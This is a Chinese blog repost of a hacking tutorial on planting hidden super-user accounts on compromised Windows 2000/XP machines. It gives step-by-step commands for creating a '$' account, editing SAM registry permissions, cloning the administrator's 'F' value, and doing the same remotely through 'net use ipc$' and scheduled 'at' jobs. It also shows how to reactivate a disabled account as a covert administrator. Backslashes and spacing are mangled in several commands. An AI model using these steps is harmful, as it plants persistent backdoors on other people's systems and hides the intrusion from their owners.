- 浏览: 469607 次
- 性别:
- 来自: 北京
文章分类
最新评论
-
谢谢你的祝福:
特地登陆上来感谢一下楼主,解决问题。
ORA-04098: 触发器无效且未通过重新验证问题 -
fuqiangjava:
写的不错 解决了自己的一个问题 谢谢了
ORA-00001:unique constraint (oracle 10g) -
hujinhuhujinhu:
make ...我有1.6.23
MyEclipse6.5安装自动提示功能的jQuery插件步骤 -
fool2011:
学习下,博主
JFreeChart类生成折线图的Java源代码 -
814687491:
你不是说的JQUERY吗?
MyEclipse6.5安装自动提示功能的jQuery插件步骤
一、如何在图形界面建立隐藏的超级用户
图形界面下适用本地或开3389终端服务的肉鸡上。上面我提到的那位作者说的方法很好,但是较为复杂,还要用到psu.exe(让程序以系统用户身份运行的程序),如果在肉鸡上的话还要上传psu.exe。我说的这个方法将不用到psu.exe这个程序。因为Windows2000有两个注册表编辑器:regedit.exe和regedt32.exe。XP中regedit.exe和regedt32.exe实为一个程序,修改键值的权限时在右键中点“权限”来修改。对regedit.exe我想大家都很熟悉,但却不能对注册表的项键设置权限,而regedt32.exe最大的优点就是能够对注册表的项键设置权限。NT/2000/xp的帐户信息都在注册表的HKEY_LOCAL_MACHINESAMSAM键下,但是除了系统用户SYSTEM外,其它用户都无权查看到里面的信息,因此我首先用regedt32.exe对SAM键为我设置为“完全控制”权限。这样就可以对SAM键内的信息进行读写了了。具体步聚如下:
1、假设我们是以超级用户administrator登录到开有终端服务的肉鸡上的,首先在命令行下或帐户管理器中建立一个帐户:hacker$,这里我在命令行下建立这个帐户
net user hacker$Content$nbsp;1234 /add
2、在开始/运行中输入:regedt32.exe并回车来运行regedt32.exe。
3、点“权限”以后会弹出窗口
点添加将我登录时的帐户添加到安全栏内,这里我是以administrator的身份登录的,所以我就将administrator加入,并设置权限为“完全控制”。这里需要说明一下:最好是添加你登录的帐户或帐户所在的组,切莫修改原有的帐户或组,否则将会带来一系列不必要的问题。等隐藏超级用户建好以,再来这里将你添加的帐户删除即可。
4、再点“开始”→“运行”并输入“regedit.exe”回车,启动注册表编辑器regedit.exe。打开键:
HKEY_LOCAL_MAICHINESAMSAMDomainsaccountusernameshacker$"
5、将项hacker$、00000409、000001F4导出为hacker.reg、409.reg、1f4.reg,用记事本分别打这几个导出的文件进行编辑,将超级用户对应的项000001F4下的键“F”的值复制,并覆盖hacker$对应的项00000409下的键“F”的值,然后再将00000409.reg与hacker.reg合并。
6、在命令行下执行net user hacker$Content$nbsp;/del将用户hacker$删除:
net user hacker$Content$nbsp;/del
7、在regedit.exe的窗口内按F5刷新,然后打文件-导入注册表文件将修改好的hacker.reg导入注册表即可
8、到此,隐藏的超级用户hacker$已经建好了,然后关闭regedit.exe。在regedt32.exe窗口内把HKEY_LOCAL_MACHINESAMSAM键权限改回原来的样子(只要删除添加的帐户administrator即可)。
9、注意:隐藏的超级用户建好后,在帐户管理器看不到hacker$这个用户,在命令行用“net user”命令也看不到,但是超级用户建立以后,就不能再改密码了,如果用net user命令来改hacker$的密码的话,那么在帐户管理器中将又会看这个隐藏的超级用户了,而且不能删除。
二、如何在命令行下远程建立隐藏的超级用户
在这里将用at的命令,因为用at产生的计划任务是以系统身份运行的,所以也用不到psu.exe程序。为了能够使用at命令,肉鸡必须开有schedule的服务,如果没有开启,可用流光里带的工具netsvc.exe或sc.exe来远程启动,当然其方法也可以,只要能启动schedule服务就行。
对于命令行方式,你可以采用各种连接方式,如用SQLexec连接MSSQL的1433端口,也可以用telnet服务,只要以你能得到一个cmdshell,并且有运行at命令的权限就可以。
1、首先找到一台肉鸡,至于如何来找那不是我这里所说的话题。这里先假设找到一台超级用户为administrator,密码为12345678的肉鸡,现在我们开始在命令行下远程为它建立隐藏的超级用户。(例子中的主机是我的局域网内的一台主机,我将它的ip地址改为13.50.97.238,,请勿在互联网上对号入座,以免骚扰正常的ip地址。)
2、先与肉鸡建立连接,命令为:net use 13.50.97.238ipc$Content$nbsp;"12345678" /user:"administrator
3、用at命令在肉鸡上建立一个用户(如果at服务没有启动,可用小榕的netsvc.exe或sc.exe来远程启动):
at 13.50.97.238 12:51 c:\winntsystem32net.exe user hacker$Content$nbsp;1234 /add
建立这个加有$符的用户名,是因为加有$符后,命令行下用net user将不显示这个用户,但在帐户管理器却能看到这个用户。
4、同样用at命令导出HKEY_LOCAL_MACHINEsamsamDomainsaccountusers下键值:
at 13.50.97.238 12:55 c:\winntregedit.exe /e hacker.reg
HKEY_LOCAL_MACHINESAMSAMDomainsaccountusers
/e 是regedit.exe的参数,在_LOCAL_MACHINESAMSAMDomainsaccountusers这个键的一定要以结尾。必要的情况下可以用引号将“c:\winntregedit.exe /e hacker.reg HKEY_LOCAL_MACHINESAMSAMDomainsaccountusers”引起来。
5、将肉鸡上的hacker.reg下载到本机上用记事本打开进行编辑命令为:
copy 13.50.97.238admin$system32hacker.reg c:\hacker.reg
修改的方法图形界中已经介绍过了,这里就不作介绍了。
6、再将编辑好的hacker.reg拷回肉鸡上
copy c:\hacker.reg 13.50.97.238admin$system32hacker1.reg
7、查看肉鸡时间:net time 13.50.97.238 然后用at命令将用户hacker$删除:
at 13.50.97.238 13:40 net user hacker$Content$nbsp;/del
8、验证hacker$是否删除:用
net use 13.50.97.238 /del 断开与肉鸡的连接。
net use 13.50.97.238ipc$Content$nbsp;"1234" /user:"hacker$" 用帐户hacker$与肉鸡连接,不能连接说明已删除。
9、再与肉鸡建立连接:net use 13.50.97.238ipc$Content$nbsp;"12345678" /user:"administrator"再取得肉鸡时间,用at命令将拷回肉鸡的hacker1.reg导入肉鸡注册表:
at 13.50.97.238 13:41 c:winntregedit.exe /s hacker1.reg
regedit.exe的参数/s是指安静模式。
10、再验证hacker$是否已建立,方法同上面验证hacker$是否被删除一样。
11、再验证用户hacker$是否有读、写、删的权限,如果不放心,你还可验证是否能建立其它帐户。
12、通过11可以断定用户hacker$具有超级用户权限,因为最初我用at命令建立它的时候是一个普通用户,而现在却具有远程读、写、删的权限。
三、如果肉鸡没有开3389终端服务,而我又不想用命令行,怎么办?
这种情况下,你也可以用界面方式来远程为肉鸡建立隐藏的超级用户。因为regedit.exe、regedt32.exe都有连接网络注册表的功能,你可以用regedt32.exe来为远程主机的注册表项设置权限,用regedit.exe来编辑远程注册表。帐户管理器也有一项连另一台计算机的功能,你可以用帐户管理器为远程主机建立和删除帐户。具体步聚与上面介绍的相似,我就不多说了,只它的速度实在是令人难以忍受。
是这里有两个前提:1、先用net use 肉鸡ipipc$Content$nbsp;"密码" /user:"超级用户名"来与远程主机建立连接以后,才能用regedit.exe regedt32.exe及帐户管理器与远程主机连接。
2、远程主机必须开启远程注册表服务(没有开启的话,你也可以远程开启,因为你有超级用户的密码了)。
四、利用被禁用的帐户建立隐藏的超级用户
1、想办查看有哪些用户被细心的管理员禁止,一般情况下,有些管理员出于安全考虑,通常会将guest禁用,当然了会禁用其它用户。在图形界面下,非常容易,只要在帐户管理器中就可以看到被禁用的帐户上有一个红叉;而在命令行下,我还没有想到好的办法,只能在命令行下用命令:“net user 用户名”一个一个来查看用户是否被禁用。
2.在这里,我们假设用户hacker被管理员禁用。首先,我先用小榕的超组用户克隆程序CA.exe,将被禁用的用户hacker 克隆成超级用户(克隆之后,被禁用的用户hacker就会自动被激活了): CA.EXE 肉鸡ip Administrator 超级用户密码 hacher hacher密码。
3.如果你现在一个cmdshell,如利用telnet服务或SQLEXEC连接肉鸡的msSQL的默认端口1433得到的shell都可以,这时你只要输入命令:
net user hacker /active:no
这样用户hacker就被禁用了(至少表面上是这样的),当然你也可以将用户hacher换成其它的被禁用的用户。
4.这时如果你在图形界面下看帐户管理器中的用户时,会发现用户hacker被禁用了,但事实上是这样的吗?你用这个被禁用的用户连接一下肉鸡看看是否能连上?用命令:net user 肉鸡ipipc$Content$nbsp;"hacker密码" /user:"hacker" 连一连看看。我可以告诉大家,经过我多次试验,次次都能成功,而且还是超级用户权限。
5.如果没有cmdshell怎么办?你可以我上面介绍的at命令来禁用用户hacker;命令格式:at 肉鸡ip 时间 net user hacker /active:no
6.原理:具体的高深的原理我也说不上来,我只能从最简单的说。你先在图形界面下在帐户管理器中禁用一下超级用户administrator看看,肯定会弹出一对话框,并禁止你继续禁用超级用户administrator,同样,因为在克隆时,hacker在注册表的“F”键被超级用户administrator在注册表的“F”键所替代,因而hacker就具有了超级用户的权限了,但是由于hacker在注册表内“C”健还是原来的“C”键,所以hacker还是会被禁用,但是它的超级用户权限却不会被禁用,因此被禁用的用户hacker还是可以连接肉鸡,而且还具有超级用户的权限。具体我也说不明白,大家权且这么理解吧。
五、注意的几点事项
1、隐藏的超级用户建立以后,在帐户管理器中和命令行下均看不到这个用户,但这个用户却存在。
2、隐藏的超级用户建立以后,就不能再修改密码了,因为一旦修改密码,这个隐藏的超级用户就会暴露在帐户管理器中,而且不能删除。3、如在本机上试验时,最好用系统自带的备份工具先备份好本机的“系统状态”主要是注册表的备份,因为本人做试验时,曾出现过帐户管理器中看不到任何用户,组中也看不到任何组的现象,但它们却存在。幸好我有备份,呵呵。SAM键是毕竟系统最敏感的部位。
发表评论
-
利用google对特定站点进行测试的实现
2010-03-18 23:12 2595利用google照样可以对一个站点进行信息收集和渗透的,下面我 ... -
[转载]入侵复旦大学
2010-03-09 23:17 2682此文章已发表在《黑客X档案》第6期杂志上 后经本文作者hac ... -
15款最好的Windows系统安全检测工具
2010-03-09 23:04 1988你想测试你的Widnows系统 ... -
追捕技术:让黑客无处可逃[转载]
2010-03-06 21:24 1277网络是个大舞台,这个舞台中不光有安全人员也有黑客份子所组成。芳 ... -
玩黑朋友的博客
2010-03-05 18:09 12941. http://w0w.cz.cc/read.php/ ... -
Sablog-X v2.x 任意变量覆盖漏洞
2010-03-02 09:44 1643Sablog-X v2.x 任意变量覆盖漏洞 autho ... -
Supesite7后台拿shell方法
2010-03-01 01:31 1808方法: 编辑模板的时候写入这几行,拆开写一句话,就行了. & ... -
asp记录管理员账号密码
2010-03-01 01:30 2653在一次安全检测中,其 ... -
711企业网站管理程序V6.0再爆上传漏洞及利用
2010-03-01 01:28 1332前些天出了个Cookies注入漏洞,今天又翻了看了下~ ... -
blogbus.com(博客大巴)XSS跨站漏洞
2010-03-01 01:25 1147漏洞测试过程: 1.申请了一个帐号 2.进入后台--博客- ... -
webshell
2010-02-23 14:27 1762百科名片 顾名思义,“web”的含义是显然需要服务器开放we ... -
防范黑客入住系统建立隐藏帐户
2010-01-19 10:21 1537面对黑客在自已的电脑 ... -
想过主动哟
2010-01-02 17:49 1003一、改字符串系统芯片----我爱的心物理内存---智脑内心 ... -
黑客教你怎样用Excel剿灭DLL木马
2009-10-06 14:49 1165DLL木马是依靠DLL文件来 ... -
SYN攻击基本原理与防范技术
2009-10-06 14:46 865据统计,在所有黑客攻 ... -
识破欺骗 教你简单方法查找黑客老巢
2009-10-06 14:17 1042网络安全是一个综合的、复杂的工程,任何网络安全措施都不能保证万 ... -
快速清除系统中的木马病毒
2009-10-06 14:13 925黑客入侵后要做的事就是上传木马后门,为了能够让上传的木马不被发 ...
相关推荐
Windows系统中多种隐藏超级用户方法一、如何在图形界面建立隐藏的超级用户
系统中多种隐藏超级用户方法.docx
系统中多种隐藏超级用户的方法.docx
Win2000和XP系统中多种建立隐藏超级用户方法
一、如何在图形界面建立隐藏的超级用户 图形界面下适用本地或开3389终端服务的肉鸡上。上面我提到的那位作者说的方法很好,但是较为复杂,还要用到psu.exe(让程序以系统用户身份运行的程序),如果在肉鸡上的话还要...
超级模块允许用户自定义系统备份文件夹的属性,可以创建普通文件夹或者畸形文件夹(图形界面下无法删除),为了系统备份的安全还可以隐藏备份文件夹或者隐藏系统备份文件所在分区。可以设置密码保护,防止别人误操作...
免费二级域名服务系统,可以进行多种方式的设定,支持激活和认证功能. 用户投稿系统及审批系统 产品销售系统,支持多级别用户和多级别产品价格,用户可以自动作为代理存在。 法律法规库系统,附带法律...
超级模块允许用户自定义系统备份文件夹的属性,可以创建普通文件夹或者畸形文件夹(图形界面下无法删除),为了系统备份的安全还可以隐藏备份文件夹或者隐藏系统备份文件所在分区。可以设置密码保护,防止别人误操作...
噢易机房BOSS系统中的数据统计功能可以为各类用户提供详细的机时统计查询和报表打印。 运维支持系统 · 系统保护 在进行硬盘保护时,噢易机房BOSS系统受保护的硬盘可以像平常一样进行硬盘的读写操作,但关机以 ...
3 用户类和特性 "用户类别 "用户特性 " "超级管理员 "管理此系统的一切可用功能。 " "普通管理员 "外卖的添加、处理订单等。 " "用户 "登陆、注册、预定等。 " 4 开发环境 开发此校园外卖订餐系统需要用到如下主要...
新增 表单系统用户列表搜索增加“高级选项”,实现更复杂的用户筛选 新增 “侧边栏”显示/隐藏切换功能,方便控制编辑区大小 新增 模块/页面名称显示和内页右侧浏览控制按钮:“后退/刷新/前进” 新增 顶部右侧链...
新增 表单系统用户列表搜索增加“高级选项”,实现更复杂的用户筛选 新增 “侧边栏”显示/隐藏切换功能,方便控制编辑区大小 新增 模块/页面名称显示和内页右侧浏览控制按钮:“后退/刷新/前进” 新增 顶部右侧链...
VeryIDE 是一套集成在线表单定制,投票定制,PK擂台,广告管理等多种应用的系统并且供了丰富的函数与类,以及菜单定制等功能来让你扩展它. 修正 GBK版专题系统中文处理BUG修正 错误的对广告链接的URL进行了过滤,导致...
umount命令的作用是卸载一个文件系统,它的使用权限是超级用户或/etc/fstab中允许的使用者。 2.格式 unmount -a [-fFnrsvw] [-t vfstype] [-n] [-rw] [-F] device dir 3.使用说明 umount 命令是mount命令...
广州市教育局信息中心与广东泰鸿科技公司承办的覆盖全市中小学及相关教育行政部门、教育科研机构的综合性教育信息和资源平台,是全市教育系统唯一的教育公众信息平台,是在互联网上代表广州教育权威的官方网站和专业...
"innerText","id","href"之类' 超级模块首次调试时,增加取消功能,可以点击取消不绑定模块并继续使用,方便没有网络的用户暂时使用' 增加"取句柄3",采用多种方案来获取窗口句柄,防止功能被屏蔽而无法获取句柄' 修改"取...
SECURITY OPTION(检测密码方式)如设定为SETUP,则每次打开机器时屏幕均会提示输入口令(普通用户口令或超级用户口令,普通用户无权修改BIOS设置),不知道口令则无法使用机器;如设定为SYSTEM则只有在用户想进入BIOS设置...
1.本备忘改变传统使用时钟和循环的方法,那种方法相当占用系统资源,本方法直接使用API函数HOOK系统时间,对系统不产生任何浪费。 2.本备忘多种提示功能,哪怕你错过提醒时间,下次开启软件时一样会提示你还有更多...
0749 如何判断当前用户是否是超级用户 458 0750 如何判断当前用户是否是系统管理员 459 0751 如何判断当前用户是否是系统操作员 459 0752 如何判断当前用户是否是备份操作员 460 0753 如何判断当前用户是否...